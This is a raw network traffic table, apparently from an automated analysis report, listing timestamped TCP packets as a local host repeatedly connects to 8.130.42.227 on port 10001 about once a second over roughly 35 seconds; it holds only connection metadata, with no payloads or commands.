Oct 1, 2024 09:18:13.613919020 CEST	10001	49800	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:13.614005089 CEST	49800	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:13.614037037 CEST	10001	49800	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:13.614082098 CEST	49800	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:13.614120960 CEST	49800	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:13.618874073 CEST	10001	49800	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:13.725579023 CEST	49801	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:13.730540037 CEST	10001	49801	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:13.730648994 CEST	49801	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:13.730804920 CEST	49801	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:13.735579967 CEST	10001	49801	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:14.684660912 CEST	10001	49801	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:14.684748888 CEST	49801	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:14.684838057 CEST	10001	49801	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:14.685028076 CEST	49801	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:14.803390980 CEST	49801	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:14.803622961 CEST	49802	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:14.808265924 CEST	10001	49801	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:14.808481932 CEST	10001	49802	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:14.808545113 CEST	49802	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:14.808661938 CEST	49802	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:14.813512087 CEST	10001	49802	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:15.751969099 CEST	10001	49802	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:15.752043962 CEST	10001	49802	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:15.752080917 CEST	49802	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:15.752238989 CEST	49802	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:15.752239943 CEST	49802	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:15.757071972 CEST	10001	49802	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:15.876148939 CEST	49803	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:15.885495901 CEST	10001	49803	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:15.885597944 CEST	49803	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:15.885741949 CEST	49803	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:15.892859936 CEST	10001	49803	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:16.838865995 CEST	10001	49803	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:16.838928938 CEST	49803	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:16.839124918 CEST	10001	49803	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:16.839190960 CEST	49803	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:16.943983078 CEST	49803	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:16.944221020 CEST	49804	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:16.948904037 CEST	10001	49803	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:16.948995113 CEST	10001	49804	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:16.949076891 CEST	49804	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:16.949246883 CEST	49804	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:16.954011917 CEST	10001	49804	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:17.902736902 CEST	10001	49804	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:17.902792931 CEST	49804	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:17.902937889 CEST	10001	49804	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:17.902971029 CEST	49804	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:18.065082073 CEST	49804	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:18.065396070 CEST	49805	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:18.069937944 CEST	10001	49804	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:18.070348024 CEST	10001	49805	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:18.070411921 CEST	49805	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:18.070692062 CEST	49805	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:18.075716972 CEST	10001	49805	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:19.022764921 CEST	10001	49805	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:19.022794962 CEST	10001	49805	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:19.022823095 CEST	49805	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:19.022862911 CEST	49805	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:19.022968054 CEST	49805	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:19.027914047 CEST	10001	49805	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:19.149755955 CEST	49806	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:19.154694080 CEST	10001	49806	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:19.154761076 CEST	49806	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:19.154947042 CEST	49806	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:19.160047054 CEST	10001	49806	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:20.290249109 CEST	10001	49806	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:20.290266991 CEST	10001	49806	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:20.290339947 CEST	49806	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:20.290409088 CEST	10001	49806	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:20.290509939 CEST	49806	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:20.290565968 CEST	49806	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:20.295325041 CEST	10001	49806	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:20.400520086 CEST	49807	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:20.405602932 CEST	10001	49807	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:20.405875921 CEST	49807	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:20.406044960 CEST	49807	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:20.410991907 CEST	10001	49807	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:21.351322889 CEST	10001	49807	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:21.351389885 CEST	49807	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:21.351449966 CEST	10001	49807	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:21.351500988 CEST	49807	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:21.461546898 CEST	49807	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:21.461903095 CEST	49808	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:21.466463089 CEST	10001	49807	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:21.466715097 CEST	10001	49808	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:21.466773987 CEST	49808	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:21.466885090 CEST	49808	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:21.472126961 CEST	10001	49808	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:22.404139042 CEST	10001	49808	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:22.404211998 CEST	49808	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:22.404217958 CEST	10001	49808	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:22.404320002 CEST	49808	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:22.404509068 CEST	49808	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:22.409292936 CEST	10001	49808	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:22.508508921 CEST	49809	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:22.513470888 CEST	10001	49809	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:22.516650915 CEST	49809	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:22.516719103 CEST	49809	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:22.521584034 CEST	10001	49809	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:23.470350027 CEST	10001	49809	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:23.470406055 CEST	10001	49809	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:23.470412016 CEST	49809	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:23.470463037 CEST	49809	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:23.470546961 CEST	49809	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:23.475291967 CEST	10001	49809	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:23.588566065 CEST	49810	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:23.593471050 CEST	10001	49810	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:23.596642971 CEST	49810	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:23.596708059 CEST	49810	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:23.601568937 CEST	10001	49810	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:24.563240051 CEST	10001	49810	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:24.563313961 CEST	49810	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:24.563431025 CEST	10001	49810	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:24.563481092 CEST	49810	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:24.680531025 CEST	49810	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:24.680911064 CEST	49811	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:24.686758041 CEST	10001	49810	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:24.687403917 CEST	10001	49811	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:24.687469959 CEST	49811	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:24.687603951 CEST	49811	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:24.694567919 CEST	10001	49811	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:25.623217106 CEST	10001	49811	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:25.623275042 CEST	10001	49811	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:25.624597073 CEST	49811	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:25.624681950 CEST	49811	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:25.629446030 CEST	10001	49811	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:25.744530916 CEST	49812	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:25.749430895 CEST	10001	49812	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:25.752697945 CEST	49812	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:25.752697945 CEST	49812	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:25.757637978 CEST	10001	49812	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:26.699789047 CEST	10001	49812	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:26.699887037 CEST	49812	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:26.700146914 CEST	10001	49812	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:26.700236082 CEST	49812	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:26.811826944 CEST	49812	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:26.812211990 CEST	49813	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:26.816670895 CEST	10001	49812	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:26.817035913 CEST	10001	49813	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:26.817101955 CEST	49813	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:26.817373991 CEST	49813	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:26.822197914 CEST	10001	49813	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:27.765852928 CEST	10001	49813	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:27.765938044 CEST	10001	49813	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:27.768610954 CEST	49813	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:27.768759012 CEST	49813	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:27.773545027 CEST	10001	49813	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:27.884516001 CEST	49814	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:27.889570951 CEST	10001	49814	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:27.892607927 CEST	49814	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:27.892714977 CEST	49814	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:27.897514105 CEST	10001	49814	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:28.877537966 CEST	10001	49814	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:28.877590895 CEST	49814	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:28.878246069 CEST	10001	49814	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:28.878284931 CEST	49814	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:28.992733955 CEST	49814	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:28.993223906 CEST	49815	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:28.997646093 CEST	10001	49814	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:28.998399973 CEST	10001	49815	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:28.998471022 CEST	49815	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:28.998631954 CEST	49815	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:29.003521919 CEST	10001	49815	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:29.989542961 CEST	10001	49815	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:29.989615917 CEST	10001	49815	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:29.989644051 CEST	49815	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:29.989723921 CEST	49815	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:30.101844072 CEST	49815	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:30.102240086 CEST	49816	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:30.106657028 CEST	10001	49815	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:30.107014894 CEST	10001	49816	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:30.110941887 CEST	49816	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:30.111059904 CEST	49816	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:30.115849018 CEST	10001	49816	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:31.053788900 CEST	10001	49816	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:31.053847075 CEST	49816	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:31.053956985 CEST	10001	49816	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:31.054001093 CEST	49816	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:31.165095091 CEST	49816	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:31.165549994 CEST	49817	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:31.171366930 CEST	10001	49816	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:31.171928883 CEST	10001	49817	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:31.171988010 CEST	49817	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:31.172106981 CEST	49817	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:31.178555012 CEST	10001	49817	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:32.116039991 CEST	10001	49817	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:32.116132021 CEST	10001	49817	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:32.116168976 CEST	49817	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:32.116406918 CEST	49817	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:32.257837057 CEST	49817	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:32.258378029 CEST	49818	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:32.264019012 CEST	10001	49817	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:32.264156103 CEST	10001	49818	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:32.264307976 CEST	49818	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:32.264465094 CEST	49818	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:32.269169092 CEST	10001	49818	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:33.219223976 CEST	10001	49818	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:33.219289064 CEST	49818	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:33.219428062 CEST	10001	49818	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:33.219480991 CEST	49818	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:33.336802006 CEST	49818	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:33.337193966 CEST	49819	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:33.341680050 CEST	10001	49818	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:33.341959953 CEST	10001	49819	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:33.342047930 CEST	49819	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:33.342219114 CEST	49819	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:33.347044945 CEST	10001	49819	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:34.334094048 CEST	10001	49819	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:34.334291935 CEST	10001	49819	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:34.334705114 CEST	49819	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:34.334810972 CEST	49819	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:34.339638948 CEST	10001	49819	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:34.445702076 CEST	49820	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:34.450680017 CEST	10001	49820	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:34.450773001 CEST	49820	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:34.450947046 CEST	49820	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:34.455815077 CEST	10001	49820	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:35.513272047 CEST	10001	49820	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:35.513287067 CEST	10001	49820	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:35.513295889 CEST	10001	49820	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:35.513333082 CEST	49820	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:35.513369083 CEST	49820	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:35.513498068 CEST	49820	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:35.519716024 CEST	10001	49820	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:35.618963957 CEST	49821	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:35.623918056 CEST	10001	49821	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:35.624057055 CEST	49821	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:35.624229908 CEST	49821	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:35.629093885 CEST	10001	49821	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:39.577821016 CEST	10001	49821	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:39.577881098 CEST	49821	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:39.577919006 CEST	10001	49821	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:39.577967882 CEST	49821	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:39.578145027 CEST	49821	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:39.583003998 CEST	10001	49821	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:39.699125051 CEST	49822	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:39.704121113 CEST	10001	49822	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:39.706851006 CEST	49822	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:39.706851006 CEST	49822	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:39.711755037 CEST	10001	49822	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:40.809396029 CEST	10001	49822	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:40.809422016 CEST	10001	49822	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:40.809480906 CEST	49822	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:40.809534073 CEST	10001	49822	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:40.809547901 CEST	49822	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:40.809568882 CEST	49822	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:40.826842070 CEST	49822	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:40.831782103 CEST	10001	49822	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:40.965292931 CEST	49823	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:40.970411062 CEST	10001	49823	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:40.970479965 CEST	49823	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:40.973115921 CEST	49823	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:40.977965117 CEST	10001	49823	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:41.920358896 CEST	10001	49823	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:41.920378923 CEST	10001	49823	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:41.920609951 CEST	49823	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:41.920723915 CEST	49823	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:41.925479889 CEST	10001	49823	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:42.026840925 CEST	49824	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:42.031826019 CEST	10001	49824	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:42.034735918 CEST	49824	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:42.038556099 CEST	49824	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:42.043335915 CEST	10001	49824	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:42.984538078 CEST	10001	49824	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:42.984606028 CEST	49824	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:42.984730005 CEST	10001	49824	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:42.984781027 CEST	49824	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:43.103056908 CEST	49824	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:43.103466034 CEST	49825	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:43.108900070 CEST	10001	49824	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:43.109188080 CEST	10001	49825	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:43.109255075 CEST	49825	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:43.109435081 CEST	49825	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:43.114912987 CEST	10001	49825	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:44.063050032 CEST	10001	49825	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:44.063194990 CEST	10001	49825	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:44.063632965 CEST	49825	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:44.065088987 CEST	49825	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:44.069845915 CEST	10001	49825	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:44.180176020 CEST	49826	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:44.185121059 CEST	10001	49826	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:44.186747074 CEST	49826	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:44.186863899 CEST	49826	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:44.191701889 CEST	10001	49826	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:45.136379957 CEST	10001	49826	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:45.136440039 CEST	49826	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:45.136642933 CEST	10001	49826	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:45.136691093 CEST	49826	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:45.243722916 CEST	49826	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:45.244366884 CEST	49827	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:45.248670101 CEST	10001	49826	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:45.249325037 CEST	10001	49827	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:45.249402046 CEST	49827	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:45.249651909 CEST	49827	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:45.254479885 CEST	10001	49827	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:46.218566895 CEST	10001	49827	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:46.218589067 CEST	10001	49827	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:46.218683958 CEST	49827	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:46.218849897 CEST	49827	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:46.223614931 CEST	10001	49827	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:46.336544037 CEST	49828	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:46.341375113 CEST	10001	49828	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:46.341568947 CEST	49828	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:46.344548941 CEST	49828	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:46.349615097 CEST	10001	49828	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:47.282550097 CEST	10001	49828	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:47.282624006 CEST	49828	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:47.282751083 CEST	10001	49828	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:47.282794952 CEST	49828	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:47.402731895 CEST	49828	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:47.403187037 CEST	49829	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:47.407618046 CEST	10001	49828	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:47.408004999 CEST	10001	49829	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:47.408073902 CEST	49829	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:47.408241987 CEST	49829	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:47.413074017 CEST	10001	49829	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:48.371803045 CEST	10001	49829	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:48.371896029 CEST	10001	49829	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:48.375102043 CEST	49829	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:48.375163078 CEST	49829	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:48.582062006 CEST	10001	49829	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:48.582789898 CEST	49829	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:48.583436966 CEST	10001	49829	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:48.634525061 CEST	49830	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:48.639379978 CEST	10001	49830	8.130.42.227	192.168.2.4
